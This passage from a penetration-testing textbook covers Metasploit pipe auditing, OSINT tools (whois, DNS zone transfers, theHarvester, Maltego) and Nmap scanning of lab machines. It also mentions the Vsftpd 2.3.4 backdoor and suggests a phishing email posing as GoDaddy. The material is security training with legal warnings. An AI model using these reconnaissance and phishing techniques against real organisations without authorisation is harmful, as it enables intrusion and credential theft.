[*] Auxiliary module execution completed msf auxiliary(pipe_auditor) >

The module audits the listening SMB pipes on our Windows XP target. As it turns out, the browser pipe is the only available pipe u. Because this pipe is listening, this is the correct value for the SMBPIPE option in the windows/smb/ms08_067_netapi exploit module we used earlier in the chapter. Updating Me ta sploit
The exercises in this book are designed to work on a base install of Kali
Linux 1.0.6. Naturally, many security tools used in this book will have been updated since Kali’s release. Metasploit in particular receives regular updates from core developers as well as from the security community.
All of the material in this book works with the Metasploit version installed on Kali 1.0.6. As you continue your career as a pentester, you’ll want the latest
Metasploit modules. The Metasploit Project is typically pretty solid at releasing modules for the latest security issues circulating the Web. To pull down the latest modules from Metasploit’s GitHub, enter the following: root@kali:~# msfupdate

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Summary
In this chapter we’ve gotten comfortable using some of Metasploit’s interfaces. We’ll return to Metasploit throughout the book.
In the next few chapters we’ll simulate a penetration test against our target machines, covering a wide variety of vulnerability types. If you pursue a career in penetration testing, you will likely encounter clients spanning the gamut of possible security postures. Some will be missing so many patches across the organization that you may wonder if they have updated since installing the base image back in 2001. Along with missing patches, you may find additional vulnerabilities such as default passwords and misconfigured services. Gaining access to such networks is trivial for skilled penetration testers.
On the other hand, you may also find yourself working for clients who have patch management down pat, with everything from Windows operating systems to all third-party software on a regular patch cycle across the organization. Some clients may deploy cutting-edge security controls such as proxies that allow only Internet Explorer to call out to the Internet. This will stop even Metasploit reverse shells that call back on ports 80 or 443 and look like web traffic, unless you are able to exploit the Internet Explorer program, which may also be completely patched. You may find intrusion prevention firewalls at the perimeter that drop any string that looks even a little bit like attack traffic.
Simply throwing the MS08-067 Metasploit module at these highsecurity networks will get you no results, except maybe a call from a network monitoring vendor with a warrant for your arrest. (Don’t worry: As part of the penetration test, you will have a get-out-of-jail-free card.) But even highly secure networks are only as strong as their weakest link. For instance, I once performed an onsite penetration test for a company that employed all of the security controls I just mentioned. However, the local administrator password on all the Windows workstations was the same fiveletter dictionary word. After I cracked the password, I was able to log on as an administrator on every workstation on the network. From there I was able to use something called token impersonation to gain domain administrator access. Despite all the strong security controls, with a little effort I was able to take over the network the same way I would a network with missing patches from 2003.
As you work through the rest of this book, you will pick up not only the technical skills required to break into vulnerable systems but also the mindset required to find a way in when none seems readily apparent.
Now let’s turn our attention to gathering information about our targets so we can develop a solid plan of attack.

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109

Part II
Assessments

5

Infor m at ion G at he r ing

In this chapter we begin the information-gathering phase of penetration testing. The goal of this phase is to learn as much about our clients as we can. Does the CEO reveal way too much on Twitter? Is the system administrator writing to archived listservs, asking about how to secure a Drupal install? What software are their web servers running? Are the Internet-facing systems listening on more ports than they should? Or, if this is an internal penetration test, what is the IP address of the domain controller?
We’ll also start to interact with our target systems, learning as much as we can about them without actively attacking them. We’ll use the knowledge gained in this phase to move on to the threat-modeling phase where we think like attackers and develop plans of attack based on the information

we’ve gathered. Based on the information we uncover, we’ll actively search for and verify vulnerabilities using vulnerability-scanning techniques, which are covered in the next chapter.

Open Source Intelligence Gathering
We can learn a good deal about our client’s organization and infrastructure before we send a single packet their way, but information gathering can still be a bit of a moving target. It isn’t feasible to study the online life of every employee, and given a large amount of gathered information, it can be difficult to discern important data from noise. If the CEO tweets frequently about a favorite sports team, that team’s name may be the basis for her webmail password, but it could just as easily be entirely irrelevant. Other times it will be easier to pick up on something crucial. For instance, if your client has online job postings for a system administrator who is an expert in certain software, chances are those platforms are deployed in the client’s infrastructure. As opposed to intelligence gained from covert sources such as dumpster diving, dumping website databases, and social engineering, open source intelligence (or OSINT) is gathered from legal sources like public records and social media. The success of a pentest often depends on the results of the information-gathering phase, so in this section, we will look at a few tools to obtain interesting information from these public sources.

Netcraft
Sometimes the information that web servers and web-hosting companies gather and make publicly available can tell you a lot about a website. For instance, a company called Netcraft logs the uptime and makes queries about the underlying software. (This information is made publicly available at http://www.netcraft.com/.) Netcraft also provides other services, and their antiphishing offerings are of particular interest to information security.
For example, Figure 5-1 shows the result when we query http://www
.netcraft.com/ for http://www.bulbsecurity.com. As you can see, bulbsecurity.com was first seen in March 2012. It was registered through GoDaddy, has an IP address of 50.63.212.1, and is running Linux with an Apache web server.
Armed with this information, when pentesting bulbsecurity.com, we could start by ruling out vulnerabilities that affect only Microsoft IIS servers. Or, if we wanted to try social engineering to get credentials to the website, we could write an email that appears to be from GoDaddy, asking the administrator to log in and check some security settings.

114 Chapter 5

Figure 5-1: Netcraft’s results for bulbsecurity.com

Whois Lookups
All domain registrars keep records of the domains they host. These records contain information about the owner, including contact information. For example, if we run the Whois command line tool on our Kali machine to query for information about bulbsecurity.com, as shown in Listing 5-1, we see that I used private registration, so we won’t learn much. root@kali:~# whois bulbsecurity.com
Registered through: GoDaddy.com, LLC (http://www.godaddy.com)
Domain Name: BULBSECURITY.COM
Created on: 21-Dec-11
Expires on: 21-Dec-12
Last Updated on: 21-Dec-11
Registrant: u
Domains By Proxy, LLC
DomainsByProxy.com
14747 N Northsight Blvd Suite 111, PMB 309
Scottsdale, Arizona 85260
United States

Information Gathering 115

Technical Contact: v
Private, Registration BULBSECURITY.COM@domainsbyproxy.com
Domains By Proxy, LLC
DomainsByProxy.com
14747 N Northsight Blvd Suite 111, PMB 309
Scottsdale, Arizona 85260
United States
(480) 624-2599
Fax -- (480) 624-2598
Domain servers in listed order:
NS65.DOMAINCONTROL.COM w
NS66.DOMAINCONTROL.COM
Listing 5-1: Whois information for bulbsecurity.com

This site has private registration, so both the registrant u and technical contact v are domains by proxy. Domains by proxy offer private registration, hiding your personal details in the Whois information for the domains you own. However, we do see the domain servers w for bulbsecurity.com.
Running Whois queries against other domains will show more interesting results. For example, if you do a Whois lookup on georgiaweidman.com, you might get an interesting blast from the past, including my college phone number. DNS Reconnaissance
We can also use Domain Name System (DNS) servers to learn more about a domain. DNS servers translate the human-readable URL www.bulbsecurity.com into an IP address.
Nslookup
For example, we could use a command line tool such as Nslookup, as shown in Listing 5-2. root@Kali:~# nslookup www.bulbsecurity.com
Server:
75.75.75.75
Address:
75.75.75.75#53
Non-authoritative answer: www.bulbsecurity.com canonical name = bulbsecurity.com.
Name:
bulbsecurity.com
Address: 50.63.212.1 u
Listing 5-2: Nslookup information for www.bulbsecurity.com

Nslookup returned the IP address of www.bulbsecurity.com, as you can see at u.
We can also tell Nslookup to find the mail servers for the same website by looking for MX records (DNS speak for email), as shown in Listing 5-3.

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root@kali:~# nslookup
> set type=mx
> bulbsecurity.com
Server:
75.75.75.75
Address:
75.75.75.75#53
Non-authoritative answer: bulbsecurity.com mail exchanger = 40 ASPMX2.GOOGLEMAIL.com. bulbsecurity.com mail exchanger = 20 ALT1.ASPMX.L.GOOGLE.com. bulbsecurity.com mail exchanger = 50 ASPMX3.GOOGLEMAIL.com. bulbsecurity.com mail exchanger = 30 ALT2.ASPMX.L.GOOGLE.com. bulbsecurity.com mail exchanger = 10 ASPMX.L.GOOGLE.com.
Listing 5-3: Nslookup information for bulbsecurity.com’s mail servers

Nslookup says bulbsecurity.com is using Google Mail for its email servers, which is correct because I use Google Apps.
Host
Another utility for DNS queries is Host. We can ask Host for the name s ­ ervers for a domain with the command host -t ns domain. A good example for domain queries is zoneedit.com, a domain set up to demonstrate zone transfer vulnerabilities, as shown here. root@kali:~# host -t ns zoneedit.com zoneedit.com name server ns4.zoneedit.com. zoneedit.com name server ns3.zoneedit.com.
--snip--

This output shows us all the DNS servers for zoneedit.com. Naturally, because I mentioned that this domain was set up to demonstrate zone transfers, that’s what we are going to do next.
Zone Transfers
DNS zone transfers allow name servers to replicate all the entries about a domain. When setting up DNS servers, you typically have a primary name server and a backup server. What better way to populate all the entries in the secondary DNS server than to query the primary server for all of its entries? Unfortunately, many system administrators set up DNS zone transfers insecurely, so that anyone can transfer the DNS records for a domain. zoneedit.com is an example of such a domain, and we can use the host command to download all of its DNS records. Use the -l option to specify the domain to transfer, and choose one of the name servers from the previous command, as shown in Listing 5-4.

Information Gathering 117

root@kali:~# host -l zoneedit.com ns2.zoneedit.com
Using domain server:
Name: ns2.zoneedit.com
Address: 69.72.158.226#53
Aliases:
zoneedit.com name server ns4.zoneedit.com. zoneedit.com name server ns3.zoneedit.com. zoneedit.com name server ns15.zoneedit.com. zoneedit.com name server ns8.zoneedit.com. zoneedit.com name server ns2.zoneedit.com. zoneedit.com has address 64.85.73.107 www1.zoneedit.com has address 64.85.73.41 dynamic.zoneedit.com has address 64.85.73.112 bounce.zoneedit.com has address 64.85.73.100
--snip-mail2.zoneedit.com has address 67.15.232.182
--snip-Listing 5-4: Zone transfer of zoneedit.com

There are pages and pages of DNS entries for zoneedit.com, which gives us a good idea of where to start in looking for vulnerabilities for our pentest. For example, mail2.zoneedit.com is probably a mail server, so we should look for potentially vulnerable software running on typical email ports such as 25 (Simple Mail Transfer Protocol) and 110 (POP3). If we can find a webmail server, any usernames we find may lead us in the right direction so that we can guess passwords and gain access to sensitive company emails.

Searching for Email Addresses
External penetration tests often find fewer services exposed than internal ones do. A good security practice is to expose only those services that must be accessed remotely, like web servers, mail servers, VPN servers, and maybe
SSH or FTP, and only those services that are mission critical. Services like these are common attack surfaces, and unless employees use two-factor authentication, accessing company webmail can be simple if an attacker can guess valid credentials.
One excellent way to find usernames is by looking for email addresses on the Internet. You might be surprised to find corporate email addresses publicly listed on parent-teacher association contact info, sports team rosters, and, of course, social media.
You can use a Python tool called theHarvester to quickly scour thousands of search engine results for possible email addresses. theHarvester can automate searching Google, Bing, PGP, LinkedIn, and others for email addresses. For example, in Listing 5-5, we’ll look at the first 500 results in all search engines for bulbsecurity.com.

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root@kali:~# theharvester -d bulbsecurity.com -l 500 -b all
*******************************************************************
*
*
* | |_| |__
___
/\ /\__ _ _ ____
_____ ___| |_ ___ _ __ *
* | __| '_ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | | __/ / __ / (_| | |
\ V / __/\__ \ || __/ |
*
* \__|_| |_|\___| \/ /_/ \__,_|_|
\_/ \___||___/\__\___|_|
*
*
*
* TheHarvester Ver. 2.2a
*
* Coded by Christian Martorella
*
* Edge-Security Research
*
* cmartorella@edge-security.com
*
*******************************************************************
Full harvest..
[-] Searching in Google..
Searching 0 results...
Searching 100 results...
Searching 200 results...
Searching 300 results...
--snip-[+] Emails found:
-----------------georgia@bulbsecurity.com
[+] Hosts found in search engines:
-----------------------------------50.63.212.1:www.bulbsecurity.com
--snip-Listing 5-5: Running theHarvester against bulbsecurity.com

There’s not too much to be found for bulbsecurity.com, but theHarvester does find my email address, georgia@bulbsecurity.com, and the website, www.bulbsecurity.com, as well as other websites I share virtual hosting with. You may find more results if you run theHarvester against your organization. Maltego
Paterva’s Maltego is a data-mining tool designed to visualize open source intelligence gathering. Maltego has both a commercial and a free community edition. The free Kali Linux version, which we’ll use in this book, limits the results it returns, but we can still use it to gather a good deal of interesting information very quickly. (The paid version offers more results and functionality. To use Maltego on your pentests, you will need a paid license.) Information Gathering 119

Note

Feel free to use Maltego to study other Internet footprints, including your own, your company’s, your high school arch nemesis’s, and so on. Maltego uses information publicly available on the Internet, so it is perfectly legal to do reconnaissance on any entity. To run Maltego, enter maltego at the command line. The Maltego GUI should launch. You will be prompted to create a free account at the Paterva website and log in. Once logged in, choose Open a blank graph and let me play around, and then click Finish, as shown in Figure 5-2.

Figure 5-2: Opening a new Maltego graph

Now select the Palette option from the left-hand border. As you can see, we can gather information about all sorts of entities.
Let’s start with the bulbsecurity.com domain, as shown in Figure 5-3.
Expand the Infrastructure option from the Palette (on the left of the
Maltego window) and drag a Domain entity from the Palette onto the new graph. By default, the domain is paterva.com. To change it to bulbsecurity.com, either double-click the text or change the text field at the right side of the screen. 120 Chapter 5

Figure 5-3: Adding an entity to the graph

Once the domain is set, you can run transforms (Maltego-speak for queries) on it, instructing Maltego to search for interesting information.
Let’s start with a couple of simple transforms, which you can view by rightclicking the domain icon and choosing Run Transform, as shown in
Figure 5-4.
In the figure, we can see all the transforms available for a domain entity.
As you work with different entities, different transform options will be available. Let’s find the MX records for the bulbsecurity.com domain and, thus, where the mail servers are. Under All Transforms, choose the To DNS
Name – MX (mail server) transform.
As expected from our previous research, Maltego returns Google Mail servers, indicating that bulbsecurity.com uses Google Apps for email. We can run the simple To Website [Quick lookup] transform to get the website address of bulbsecurity.com. See Figure 5-5 for the results from both this and the previous transform.

Information Gathering 121

Figure 5-4: Maltego transforms

Figure 5-5: Transform results

122 Chapter 5

Maltego correctly finds www.bulbsecurity.com. Attacking the Google
Mail servers will likely be out of the scope of any pentest, but more infor­ mation on the www.bulbsecurity.com website would certainly be useful.
We can run transforms on any entity on the graph, so select the website www.bulbsecurity.com to gather data on it. For instance, we can run the transform ToServerTechnologiesWebsite to see what software www.bulbsecurity.com is running, as shown in Figure 5-6.

Figure 5-6: www.bulbsecurity.com software

Maltego finds that www.bulbsecurity.com is an Apache web server with
PHP, Flash, and so on, along with a WordPress install. WordPress, a com­ monly used blogging platform, has a long history of security issues (like a lot of software). We’ll look at exploiting website vulnerabilities in Chap­ ter 14. (Let’s hope I am keeping my WordPress blog up to date, or else I might wake up to find my site defaced one day. How embarrassing!)
You can find additional information and tutorials about Maltego at http://www.paterva.com/. Spend some time using Maltego transforms to find interesting information about your organization. In skilled hands, Maltego can turn hours of reconnaissance work into minutes with the same quality results. Port Scanning
When you start a pentest, the potential scope is practically limitless. The client could be running any number of programs with security issues: They could have misconfiguration issues in their infrastructure that could lead to compromise; weak or default passwords could give up the keys to the kingdom on otherwise secure systems; and so on. Pentests often narrow your
Information Gathering 123

scope to a particular IP range and nothing more, and you won’t help your client by developing a working exploit for the latest and greatest server-side vulnerability if they don’t use the vulnerable software. We need to find out which systems are active and which software we can talk to.

Manual Port Scanning
For example, in the previous chapter we saw that exploiting the MS08067 vulnerability can be an easy win for attackers and pentesters alike. To use this exploit, we need to find a Windows 2000, XP, or 2003 box with an
SMB server that is missing the MS08-067 Microsoft patch available on the network. We can get a good idea about the network-based attack surface by mapping the network range and querying systems for listening ports.
We can do this manually by connecting to ports with a tool such as telnet or Netcat and recording the results. Let’s use Netcat to connect to the Windows XP machine on port 25, the default port for the Simple Mail
Transfer Protocol (SMTP). root@kali:~# nc -vv 192.168.20.10 25 nc: 192.168.20.10 (192.168.20.10) 25 [smtp] open nc: using stream socket nc: using buffer size 8192 nc: read 66 bytes from remote
220 bookxp SMTP Server SLmail 5.5.0.4433 Ready
ESMTP spoken here nc: wrote 66 bytes to local

As it turns out, the Windows XP box is running an SMTP server on port 25 u. After we connected, the SMTP server announced itself as SLMail ­ersion 5.5.0.4433. v Now, keep in mind that admins can change banners like this to say anything, even sending attackers and pentesters on a wild goose chase, studying vulnerabilities for a product that is not deployed. In most cases, however, versions in software banners will be fairly accurate, and just connecting to the port and viewing the banner provides a starting point for our pentesting research. Searching the Web for information about SLMail
­version 5.5.0.4433 may yield some interesting results.
On the other hand, connecting to every possible TCP and UDP port on just one machine and noting the results can be time consuming. Luckily, computers are excellent at repetitive tasks like this, and we can use portscanning tools such as Nmap to find listening ports for us.
Note

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Everything we have done so far in this chapter is completely legal. But once we start actively querying systems, we are moving into murky legal territory. Attempting to break into computers without permission is, of course, illegal in many countries. Though stealthy scan traffic may go unnoticed, you should practice the skills we study in the rest of this chapter (and the rest of this book) only on your target virtual machines or other systems you own or have written permission to test (known in the trade as a get-out-of-jail-free card).

Port Scanning with Nmap
Nmap is an industry standard for port scanning. Entire books have been written just about using Nmap, and the manual page may seem a bit daunting. We will cover the basics of port scanning here and come back to the tool in later chapters.
Firewalls with intrusion-detection and prevention systems have made great strides in detecting and blocking scan traffic, so you might run an
Nmap scan and receive no results at all. Though you could be hired to perform an external pentest against a network range with no live hosts, it’s more likely that you’re being blocked by a firewall. On the other hand, your Nmap results might instead say that every host is alive, and will be listening on every port if your scan is detected.
A SYN Scan
Let’s start by running a SYN scan against our target machines. A SYN scan is a TCP scan that does not finish the TCP handshake. A TCP connection
4S
4A starts with a three-way handshake: SYN YN-ACK CK, as shown in
Figure 5-7.

SYN
SYN-ACK
ACK

Figure 5-7: TCP three-way handshake

In a SYN scan, Nmap sends the SYN and waits for the SYN-ACK if the port is open but never sends the ACK to complete the connection. If the
SYN packet receives no SYN-ACK response, the port is not available; either it’s closed or the connection is being filtered. This way, Nmap finds out if a port is open without ever fully connecting to the target machine. The syntax for a SYN scan is the -sS flag.
Next, as you can see in Listing 5-6, we specify the IP address(s) or range to scan. Finally, we use the -o option to output our Nmap results to a file. The
-oA option tells Nmap to log our results in all formats: .nmap, .gnmap (greppable Nmap), and XML. Nmap format, like the output that Nmap prints to the screen in Listing 5-6, is nicely formatted and easy to read. Greppable
Nmap (as the name implies) is formatted to be used with the grep utility to search for specific information. XML format is a standard used to import
Nmap results into other tools. Listing 5-6 shows the results of the SYN scan.
Note

It is always a good idea to take good notes of everything we do on our pentest.
Tools such as Dradis are designed specifically to track pentest data, but as long as you have notes of everything you did when you get to the reporting phase, you will be okay. I personally am more of a pen-and-paper user, or at best, a
Information Gathering 125

creating-a-long-Word-document-with-all-of-my-results type. The methods used for tracking results vary from pentester to pentester. Outputting your Nmap results to files is a good way to make sure you have a record of your scan. Also, you can use the Linux command script to record everything printed to your terminal—another good way to keep track of everything you have done. root@kali:~# nmap -sS 192.168.20.10-12 -oA booknmap
Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-18 07:28 EST
Nmap scan report for 192.168.20.10
Host is up (0.00056s latency).
Not shown: 991 closed ports
PORT
STATE SERVICE
21/tcp
open ftp v
25/tcp
open smtp y
80/tcp
open http w
106/tcp open pop3pw y
110/tcp open pop3 y
135/tcp open msrpc
139/tcp open netbios-ssn x
443/tcp open https w
445/tcp open microsoft-ds x
1025/tcp open NFS-or-IIS
3306/tcp open mysql z
5000/tcp open upnp
MAC Address: 00:0C:29:A5:C1:24 (VMware)
Nmap scan report for 192.168.20.11
Host is up (0.00031s latency).
Not shown: 993 closed ports
PORT
STATE SERVICE
21/tcp
open ftp v
22/tcp
open ssh
80/tcp
open http w
111/tcp open rpcbind
139/tcp open netbios-ssn x
445/tcp open microsoft-ds x
2049/tcp open nfs
MAC Address: 00:0C:29:FD:0E:40 (VMware)
Nmap scan report for 192.168.20.12
Host is up (0.0014s latency).
Not shown: 999 filtered ports
PORT
STATE SERVICE
80/tcp
open http u
135/tcp open msrpc
MAC Address: 00:0C:29:62:D5:C8 (VMware)
Nmap done: 3 IP addresses (3 hosts up) scanned in 1070.40 seconds
Listing 5-6: Running an Nmap SYN scan

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As you can see, Nmap returns a handful of ports on the Windows XP and Linux boxes. We will see as we move through the next few chapters that nearly all of these ports contain vulnerabilities. Hopefully, that won’t be the case on your pentests, but in an attempt to introduce you to many types of vulnerabilities you will encounter in the field, our pentesting lab has been condensed into these three machines.
That said, just because a port is open does not mean that vulnerabilities are present. Rather it leaves us with the possibility that vulnerable software might be running on these ports. Our Windows 7 machine is listening only on port 80 u, the traditional port for HTTP web servers, and port 139 for remote procedure call. There may be exploitable software listening on ports that are not allowed through the Windows firewall, and there may be vulnerable software running locally on the machine, but at the moment we can’t attempt to exploit anything directly over the network except the web server.
This basic Nmap scan has already helped us focus our pentesting efforts.
Both the Windows XP and Linux targets are running FTP servers v, web servers w, and SMB servers x. The Windows XP machine is also running a mail server that has opened several ports y and a MySQL server z.
A Version Scan
Our SYN scan was stealthy, but it didn’t tell us much about the software that is actually running on the listening ports. Compared to the detailed version information we got by connecting to port 25 with Netcat, the SYN scan’s results are a bit lackluster. We can use a full TCP scan (nmap -sT) or go a step further and use Nmap’s version scan (nmap -sV) to get more data. With the version scan shown in Listing 5-7, Nmap completes the connection and then attempts to determine what software is running and, if possible, the version, using techniques such as banner grabbing. root@kali:~# nmap -sV 192.168.20.10-12 -oA bookversionnmap
Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-18 08:29 EST
Nmap scan report for 192.168.20.10
Host is up (0.00046s latency).
Not shown: 991 closed ports
PORT
STATE SERVICE
VERSION
21/tcp open ftp
FileZilla ftpd 0.9.32 beta
25/tcp
open smtp
SLmail smtpd 5.5.0.4433
79/tcp
open finger
SLMail fingerd
80/tcp
open http
Apache httpd 2.2.12 ((Win32) DAV/2 mod_ssl/2.2.12 OpenSSL/0.9.8k mod_autoindex_color PHP/5.3.0 mod_perl/2.0.4 Perl/v5.10.0)
106/tcp open pop3pw
SLMail pop3pw
110/tcp open pop3
BVRP Software SLMAIL pop3d
135/tcp open msrpc
Microsoft Windows RPC
139/tcp open netbios-ssn
443/tcp open ssl/http
Apache httpd 2.2.12 ((Win32) DAV/2 mod_ssl/2.2.12 OpenSSL/0.9.8k mod_autoindex_color PHP/5.3.0 mod_perl/2.0.4 Perl/v5.10.0)
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open msrpc
Microsoft Windows RPC
Information Gathering 127

3306/tcp open mysql
MySQL (unauthorized)
5000/tcp open upnp
Microsoft Windows UPnP
MAC Address: 00:0C:29:A5:C1:24 (Vmware)
Service Info: Host: georgia.com; OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap scan report for 192.168.20.11
Host is up (0.00065s latency).
Not shown: 993 closed ports
PORT
STATE SERVICE
21/tcp
open ftp
22/tcp
open ssh
80/tcp
open http

VERSION vsftpd 2.3.4 u
OpenSSH 5.1p1 Debian 3ubuntu1 (protocol 2.0)
Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.6 with
Suhosin-Patch)
111/tcp open rpcbind (rpcbind V2) 2 (rpc #100000)
139/tcp open netbios-ssn
Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn
Samba smbd 3.X (workgroup: WORKGROUP)
2049/tcp open nfs (nfs V2-4)
2-4 (rpc #100003)
MAC Address: 00:0C:29:FD:0E:40 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:kernel
Nmap scan report for 192.168.20.12
Host is up (0.0010s latency).
Not shown: 999 filtered ports
PORT
STATE SERVICE
VERSION
80/tcp open http
Microsoft IIS httpd 7.5
135/tcp open msrpc
Microsoft Windows RPC
MAC Address: 00:0C:29:62:D5:C8 (VMware)
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 3 IP addresses (3 hosts up) scanned in 20.56 seconds
Listing 5-7: Running an Nmap version scan

This time we gained much more information about our Windows XP and Linux targets. For example, we knew there was an FTP server on the
Linux box, but now we have reasonable assurance that the FTP server is Very
Secure FTP version 2.3.4 u. We’ll use this output to search for potential vulnerabilities in the next chapter. As for our Windows 7 system, we found out only that it’s running Microsoft IIS 7.5, a fairly up-to-date version. It’s possible to install IIS 8 on Windows 7, but it’s not officially supported. The version itself would not raise any red flags to me. We will find that the application installed on this IIS server is the real issue in Chapter 14.
Note

Keep in mind that Nmap may report the wrong version in some cases (for instance, if the software has been updated, but the welcome banner is not edited as part of the patch), but at the very least, its version scan gave us a good place to begin further research. UDP Scans
Both Nmap’s SYN and version scans are TCP scans that do not query UDP ports. Because UDP is connectionless, the scanning logic is a bit different.

128 Chapter 5

In a UDP scan (-sU), Nmap sends a UDP packet to a port. Depending on the port, the packet sent is protocol specific. If it receives a response, the port is considered open. If the port is closed, Nmap will receive an ICMP
Port Unreachable message. If Nmap receives no response whatsoever, then either the port is open and the program listening does not respond to
Nmap’s query, or the traffic is being filtered. Thus, Nmap is not always able to distinguish between an open UDP port and one that is filtered by a firewall. See Listing 5-8 for a UDP scan example. root@kali:~# nmap -sU 192.168.20.10-12 -oA bookudp
Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-18 08:39 EST
Stats: 0:11:43 elapsed; 0 hosts completed (3 up), 3 undergoing UDP Scan
UDP Scan Timing: About 89.42% done; ETC: 08:52 (0:01:23 remaining)
Nmap scan report for 192.168.20.10
Host is up (0.00027s latency).
Not shown: 990 closed ports
PORT
STATE
SERVICE
69/udp open|filtered tftp u
123/udp open ntp 135/udp open msrpc 137/udp open netbios-ns 138/udp open|filtered netbios-dgm
445/udp open|filtered microsoft-ds
500/udp open|filtered isakmp
1026/udp open win-rpc 1065/udp open|filtered syscomlan
1900/udp open|filtered upnp
MAC Address: 00:0C:29:A5:C1:24 (VMware)
Nmap scan report for 192.168.20.11
Host is up (0.00031s latency).
Not shown: 994 closed ports
PORT
STATE
SERVICE
68/udp open|filtered dhcpc
111/udp open rpcbind 137/udp open netbios-ns 138/udp open|filtered netbios-dgm
2049/udp open nfs v
5353/udp open zeroconf MAC Address: 00:0C:29:FD:0E:40 (VMware)
Nmap scan report for 192.168.20.12
Host is up (0.072s latency).
Not shown: 999 open|filtered ports
PORT
STATE
SERVICE
137/udp open netbios-ns MAC Address: 00:0C:29:62:D5:C8 (VMware)
Nmap done: 3 IP addresses (3 hosts up) scanned in 1073.86 seconds
Listing 5-8: Running a UDP scan

Information Gathering 129

For example, on the Windows XP system, the TFTP port (UDP 69) may be open or filtered u. On the Linux target, Nmap was able to glean that the Network File System port is listening v. Because only two TCP ports responded on the Windows 7 box, it’s fair to assume that a firewall is in place, in this case the built-in Windows firewall. Likewise, the Windows firewall is filtering all traffic except to one UDP port. (If the Windows firewall were not in place, our UDP scan might give us more information.)
Scanning a Specific Port
By default, Nmap scans only the 1,000 ports it considers the most “interesting,” not the 65,535 possible TCP or UDP ports. The default Nmap scan will catch common running services, but in some cases it will miss a listening port or two. To scan specific ports, use the -p flag with Nmap. For example, to scan port 3232 on the Windows XP target, see Listing 5-9. root@Kali:~# nmap -sS -p 3232 192.168.20.10
Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-18 09:03 EST
Nmap scan report for 192.168.20.10
Host is up (0.00031s latency).
PORT
STATE SERVICE
3232/tcp open unknown
MAC Address: 00:0C:29:A5:C1:24 (VMware)
Listing 5-9: Running an Nmap scan on a specific port

Sure enough, when we tell Nmap to scan 3232, it returns open, which shows that this port is worth checking out, in addition to the default Nmap scanned ports. However, if we try to probe the port a bit more aggressively with a version scan (see Listing 5-10), the service listening on the port crashes, as shown in Figure 5-8.
Note

A good rule of thumb is to specify ports 1 through 65535 on your pentests, just to make sure there’s nothing listening on those other “uninteresting” ports. root@kali:~# nmap -p 3232 -sV 192.168.20.10
Starting Nmap 6.40 ( http://nmap.org ) at 2015-04-28 10:19 EDT
Nmap scan report for 192.168.20.10
Host is up (0.00031s latency).
PORT
STATE SERVICE VERSION
3232/tcp open unknown
1 service unrecognized despite returning datau. If you know the service/ version, please submit the following fingerprint at http://www.insecure.org/ cgi-bin/servicefp-submit.cgi : v
SF-Port3232-TCP:V=6.25%I=7%D=4/28%Time=517D2FFC%P=i686-pc-linux-gnu%r(GetR
SF:equest,B8,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Zervit\x200\.4\r\nwX-Pow

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SF:ered-By:\x20Carbono\r\nConnection:\x20close\r\nAccept-Ranges:\x20bytes\
SF:r\nContent-Type:\x20text/html\r\nContent-Length:\x2036\r\n\r\n<html>\r\
SF:n<body>\r\nhi\r\n</body>\r\n</html>");
MAC Address: 00:0C:29:13:FA:E3 (VMware)
Listing 5-10: Running a version scan against a specific port

Figure 5-8: The Zervit server crashes when scanned by Nmap.

In the process of crashing the listening service, Nmap can’t figure out what software is running as noted at u, but it does manage to get a fingerprint of the service. Based on the HTML tags in the fingerprint at v, this service appears to be a web server. According to the Server: field, it is something called Zervit 0.4 w.
At this point, we have crashed the service, and we may never see it again on our pentest, so any potential vulnerabilities may be a moot point.
Of course, in our lab we can just switch over to our Windows XP target and restart the Zervit server.
Note

Though hopefully you won’t make any services crash on your pentests, there is always a possibility that you will run into a particularly sensitive service that was not coded to accept anything other than expected input, such that even seemingly benign traffic like an Nmap scan causes it to crash. SCADA systems are particularly notorious for this sort of behavior. You always want to explain this to your client. When working with computers, there are no guarantees.
We’ll return to the Nmap tool in the next chapter when we use the
Nmap Scripting Engine (NSE) to learn detailed vulnerability information about our target systems before beginning exploitation.
Information Gathering 131

Summary
In this chapter we’ve managed to cover a lot of ground very quickly just by using publicly available sources and port scanners. We used tools such as theHarvester and Maltego to scour the Internet for information such as email addresses and websites. We used the Nmap port scanner to find out which ports are listening on our target virtual machines. Based on the output we’ve discovered, we can now do some research on known vulnerabilities as we start to think like attackers and actively seek exploitable vulnerabilities in the systems. In the next chapter, we’ll cover the vulnerability analysis phase of penetration testing.

132 Chapter 5

6

Finding Vulner abilities

Before we start slinging exploits, we need to do some more research and analysis. When identifying vulnerabilities, we actively search for issues that will lead to compromise in the exploitation phase. Although some security firms will just run an automated exploitation tool and hope for the best, careful study of the vulnerabilities by a skilled pentester will garner better results than any tool on its own.
We’ll examine several vulnerability analysis methods in this chapter, including automated scanning, targeted analysis, and manual research.

From Nmap Version Scan to Potential Vulnerability
Now that we have some information about our target and the attack surface, we can develop scenarios to reach our pentest goals. For example, the
FTP server on port 21 announced itself as Vsftpd 2.3.4. Vsftpd is short for
Very Secure FTP.
We might assume that a product that calls itself very secure is asking for trouble, and in fact, in July 2011, it came to light that the Vsftpd repository

had been breached. The Vsftpd binaries had been replaced with a backdoored version that could be triggered with a username containing a smiley face :). This opens a root shell on port 6200. Once the issue was discovered, the backdoored binaries were removed, and the official Vsftpd 2.3.4 was put back in place. So, though the presence of Vsftpd 2.3.4 doesn’t guarantee that our target is vulnerable, it is definitely a threat to consider. Pentesting doesn’t get much easier than piggybacking on an attacker who already owns a system.

Nessus
Tenable Security’s Nessus is one of the most widely used commercial vulnerability scanners, though many vendors provide comparable products.
Nessus shares its name with a centaur who was slain by the Greek mythological hero, Heracles, and whose blood later killed Heracles himself. The
Nessus database includes vulnerabilities across platforms and protocols, and its scanner performs a series of checks to detect known issues. You’ll find entire books and training courses devoted to Nessus, and as you become more familiar with the tool, you’ll find what works best for you. I’ll provide only a high-level discussion of Nessus here.
